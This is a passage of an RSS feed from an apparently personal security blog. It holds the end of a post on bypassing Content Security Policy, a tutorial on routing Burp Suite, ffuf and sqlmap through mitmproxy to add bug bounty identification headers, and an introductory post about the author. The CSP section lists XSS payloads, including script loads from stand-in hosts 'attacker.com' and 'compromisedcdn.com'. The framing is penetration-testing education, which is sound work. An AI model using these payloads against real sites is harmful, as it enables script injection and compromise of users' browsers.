href="https://csp-evaluator.withgoogle.com/">CSP Evaluator</a> to generate bypass payloads.</li></ul><h3>5. Using Burp Suite to Bypass CSP</h3><ul><li>Burp Suite <a href="https://portswigger.net/bappstore/35237408a06043e9945a11016fcbac18">CSP Auditor</a></li></ul><h3>Common CSP Bypass Techniques</h3><p>🚀 <strong>1. Inline JavaScript Injection</strong> (if unsafe-inline is enabled)</p><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><p>🚀 <strong>2. JSONP Callback Abuse</strong> (if trusted domains serve dynamic content)</p><pre>&lt;script src=&quot;https://trustedcdn.com/callback.js?data=&lt;script&gt;alert(1)&lt;/script&gt;&quot;&gt;&lt;/script&gt;</pre><p>🚀 <strong>3. Exploiting Allowed Hosts</strong></p><pre>&lt;script src=&quot;https://compromisedcdn.com/malware.js&quot;&gt;&lt;/script&gt;</pre><p>🚀 <strong>4. Data URI Injection</strong> (if data: is allowed)</p><pre>&lt;img src=&quot;data:image/svg+xml,&lt;svg onload=alert(1)&gt;&quot;&gt;</pre><p>🚀 <strong>5. DOM-based CSP Bypass</strong> (if policy does not cover script-src properly)</p><pre>var a = document.createElement(&#39;script&#39;);<br>a.src = &#39;https://attacker.com/payload.js&#39;;<br>document.body.appendChild(a);</pre><h3>Conclusion</h3><p>CSP is a powerful defense, but it’s <strong>only as strong as its implementation</strong>. Misconfigurations like unsafe-inline, overly permissive script-src, or allowing writable third-party domains can lead to <strong>CSP bypasses</strong>. As a penetration tester, you should:</p><p>✅ <strong>Review policy headers</strong> and identify weak configurations. ✅ <strong>Test bypass techniques</strong> using inline scripts, JSONP, and allowed hosts. ✅ <strong>Leverage CSP reporting</strong> to detect unintended behaviors. ✅ <strong>Use Burp Suite, CSP Auditor, and automated tools</strong> to streamline testing.</p><p>By mastering CSP exploitation, you’ll be better prepared to identify real-world weaknesses in web applications. Happy hunting! 🔍💻</p><h3>Further Reading:</h3><ul><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html">OWASP CSP Cheat Sheet</a></li><li><a href="https://csp-evaluator.withgoogle.com/">Google CSP Evaluator</a></li><li><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Mozilla MDN CSP Documentation</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab01c74a9a1f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Enhancing Bug Bounty Hunting and Web App Pentesting with mitmproxy and Burp suite]]></title>
            <link>https://medium.com/@MutexSec/enhancing-bug-bounty-hunting-and-web-app-pentesting-with-mitmproxy-and-burp-suite-1d6d0f381bd0?source=rss-faf9f5cc1774------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d6d0f381bd0</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[proxy]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[Exhaustedmutex]]></dc:creator>
            <pubDate>Thu, 06 Mar 2025 16:48:55 GMT</pubDate>
            <atom:updated>2025-03-06T16:48:55.331Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In bug bounty hunting, modifying and monitoring requests is crucial for identifying vulnerabilities and ensuring compliance with bug bounty platform requirements. One challenge security researchers face is the need for consistent <strong>header modifications</strong> across multiple tools while maintaining full visibility into web traffic.</p><p>This article introduces a powerful setup using <strong>mitmproxy</strong> as an intermediary between the target application and Burp Suite (or any other penetration testing tool). This setup enables security professionals to take advantage of its amazing set of options such as <strong>counter caching and compression mechanisms</strong>, which often interfere with web application penetration testing by altering request responses, and also <strong>modifying every request</strong> that would proxy through mitmproxy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*6fzP6D_fr7WgCLbj0pj1PQ.png" /></figure><p>By integrating mitmproxy with Burp Suite and other penetration testing tools, we establish a central and automated interception mechanism that enhances workflow efficiency and compliance.</p><h3>1. Setting Up mitmproxy in Kali WSL</h3><p>Before configuring Burp Suite, we first set up <strong>mitmproxy</strong> within a <strong>Kali Linux environment running on WSL (Windows Subsystem for Linux)</strong>.</p><h4>Installing mitmproxy</h4><p>Run the following command in your Kali WSL instance:</p><pre>sudo apt update &amp;&amp; sudo apt install mitmproxy -y</pre><p>To verify the installation, execute:</p><pre>mitmproxy --version</pre><h4>Using mitmproxy</h4><p>First time you run mitmproxy, you need to visit <a href="http://mitm.it/">http://mitm.it</a> and download a certificate and install it on your machine or add it to the root certificates of your browser. This allows TLS communication which is required when you visit any HTTPS webpage.</p><pre>mitmproxy</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*Tpx4Ef7JMhtRY53UuYKN8Q.png" /></figure><p>To display the most recent requests on top, use a custom port (8081 instead of 8080) and disable the caching and compression of responses, start mitmproxy with the following command on your kali machine:</p><pre>mitmproxy --set anticomp=true --set anticache=true \<br>  --set view_order_reversed=true --listen-port 8081</pre><ul><li>anticomp=true: Try to convince servers to send us un-compressed data, so making it easier to analyze content.</li><li>anticache=true: When the anticache option is set, it removes headers (if-none-match and if-modified-since) that might elicit a 304 Not Modified response from the server. This is useful when you want to make sure you capture an HTTP exchange in its totality. It’s also often used during client-side replay, when you want to make sure the server responds with complete data.</li><li>view_order_reversed=true: Displays the most recent requests at the top for better visibility.</li><li>--listen-port:8081: By default, mitmproxy uses port 8080 and to avoid confusion with burp suite, we can specify a different port like 8081 to listen to.</li></ul><h3>2. Configuring Burp Suite to Use mitmproxy</h3><p>To ensure all traffic that is coming to Burp Suite is passing through mitmproxy, we set mitmproxy as an <strong>upstream proxy</strong> in Burp Suite:</p><ol><li>Open <strong>Burp Suite</strong> and navigate to <strong>User Options &gt; Upstream Proxy Servers</strong>.</li><li>Click <strong>Add</strong> and enter:</li></ol><ul><li><strong>Destination host:</strong> * (to apply to all hosts)</li><li><strong>Proxy Host:</strong> 127.0.0.1 if same machine or set kali&#39;s local IP if burp is ran in host machine</li><li><strong>Proxy Port:</strong> 8081</li></ul><ol><li>Save and apply changes.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O67fVVcii--wK_McBqblOg.png" /></figure><h4>Expanding to Other Penetration Testing Tools</h4><p>Beyond Burp Suite, mitmproxy can be integrated into various penetration testing tools that support upstream proxies, including:</p><ul><li><strong>ffuf</strong> (fuzzing):</li></ul><pre>ffuf -u &quot;http://target.com/FUZZ&quot; -w wordlist.txt -x http://127.0.0.1:8081</pre><ul><li><strong>sqlmap</strong> (SQL injection):</li></ul><pre>sqlmap -u &quot;http://target.com/page?id=1&quot; --proxy http://127.0.0.1:8081</pre><p>This ensures a <strong>consistent and central approach</strong> to request modifications across different tools, improving efficiency and adherence to bug bounty policies.</p><h3>3. Running mitmproxy with Header Modifications</h3><p>Sometimes Bug Bounty Hunting Platforms or programs advise you to modify User Agent header or add a custom header such as “X-<a href="https://hackerone.com/">HackerOne</a>-Research: [H1 username]” or “X-<a href="https://intigriti.com/">Intigriti</a>-Username:{Username}” as part of <strong>Rules of engagement</strong> which allows the security team to differentiate your activity from malicious one and stops you being blocked.</p><p>T achieve this we must modify requests to update and/or include the required headers. We can accomplish this with <strong>mitmproxy’s </strong><strong>--modify-headers </strong>option or by using a custom script.</p><blockquote><strong><em>--modify-headers</em></strong><em>: Header modify pattern of the form <br>/~q/header-name/header-value<br>to add or replace header where separator can be any character. Instead of supplying the value in the command line, using @ allows to provide a file path that is used to read the header value string.<br>/~q/header-name/@header-file-name<br> An empty header-value removes existing header-name headers.</em></blockquote><pre>mitmproxy --set anticomp=true --set anticache=true \<br>  --set view_order_reversed=true --listen-port=8081 \<br>  --modify-headers /~q/User-Agent/&#39;Intigriti-&lt;username&gt;- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36&#39; \<br>  --modify-headers /~q/X-Intigriti-Username/&#39;&lt;Username&gt;&#39;</pre><p><strong>Using a Custom mitmproxy Script (</strong><strong>intigriti.py):</strong></p><p>Create a Python script to dynamically modify headers:</p><pre>from mitmproxy import http<br><br>def request(flow: http.HTTPFlow) -&gt; None:<br>    flow.request.headers[&quot;User-Agent&quot;] = &quot;Intigriti-&lt;username&gt;- Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36&quot;<br>    flow.request.headers[&quot;X-Intigriti-Username&quot;] = &quot;&lt;username&gt;&quot;</pre><p>Run mitmproxy with the script using <strong>-s</strong>option:</p><pre>mitmproxy --set anticomp=true --set anticache=true \<br>  --set view_order_reversed=true --listen-port=8081 \<br>  -s intigriti.py </pre><p>Future enhancements could include:</p><ul><li><strong>Automating mitmproxy startup</strong> with custom scripts.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-QsHVQuj5cLedV08jzYVXg.png" /></figure><p>By leveraging mitmproxy as an interception and modification layer, penetration testers gain <strong>a powerful, extensible, and scalable</strong> solution for web application security testing. 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d6d0f381bd0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Breaking and Fixing My Way Into Cybersecurity]]></title>
            <link>https://medium.com/@MutexSec/breaking-and-fixing-my-way-into-cybersecurity-1c888d959823?source=rss-faf9f5cc1774------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c888d959823</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[journal]]></category>
            <dc:creator><![CDATA[Exhaustedmutex]]></dc:creator>
            <pubDate>Tue, 04 Mar 2025 11:26:39 GMT</pubDate>
            <atom:updated>2025-03-04T11:26:39.197Z</atom:updated>
            <content:encoded><![CDATA[<p>If there’s one thing I’ve always done in life, it’s <strong>breaking things to understand them</strong>. Whether it was video games, computers, or even career paths, my curiosity has always led me to break things apart, dive deep and learn how they work. So here I am, stepping into the world of cybersecurity, ready to share my journey, struggles, and discoveries with you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WeO9m6mM-muClQJ_4-9b5Q.png" /></figure><h3>From Cheat Codes to Cybersecurity</h3><p>Growing up in the 90s, my world revolved around <strong>Atari and Sega</strong> games. Like many kids, I was fascinated by <strong>cheat codes</strong> — those little hacks that gave you unlimited lives or skipped difficult levels. It was my first taste of <strong>exploiting a system to make it work differently</strong> than intended, though I didn’t realize it at the time.</p><p>In the early 2000s, I got my hands on <strong>DOS computers, </strong>and I wanted one badly. Later, I got my first PC and, like any curious kid, I managed to <strong>infect it with trojans</strong> within no time. That’s when I had to teach myself how to <strong>wipe everything and reinstall Windows from scratch</strong> — my first real step into troubleshooting and problem-solving.</p><p>One of my biggest challenges has always been <strong>sticking to one path</strong>. I tend to <strong>jump between interests</strong> — whether it’s gaming, engineering, art, or hacking. It’s part of who I am, and sometimes it makes things harder. But over time, I’ve learned to embrace it as part of my learning process.</p><h3>What This Blog is About</h3><p>I’m starting this blog to document my journey as I continue <strong>learning, experimenting, and breaking things in the cybersecurity world</strong>. I’ll be sharing:</p><ul><li><strong>Bug bounty methodologies</strong> and how I approach finding vulnerabilities.</li><li><strong>Web hacking techniques</strong> I’ve learned and tested.</li><li><strong>Pentesting tools and automation scripts</strong> that can make life easier.</li><li><strong>Case studies</strong> from my experiences in security research.</li><li><strong>Tips for beginners</strong> who want to follow a similar path.</li></ul><p>I know I’m not alone in this journey. If you’re someone who’s <strong>curious, loves knowing how things work, or struggles with focus but still wants to master a skill</strong>, I hope this blog will help you in some way. Let’s explore this world of security together — one exploit at a time.</p><p>Welcome to <strong>MutexSec!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c888d959823" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>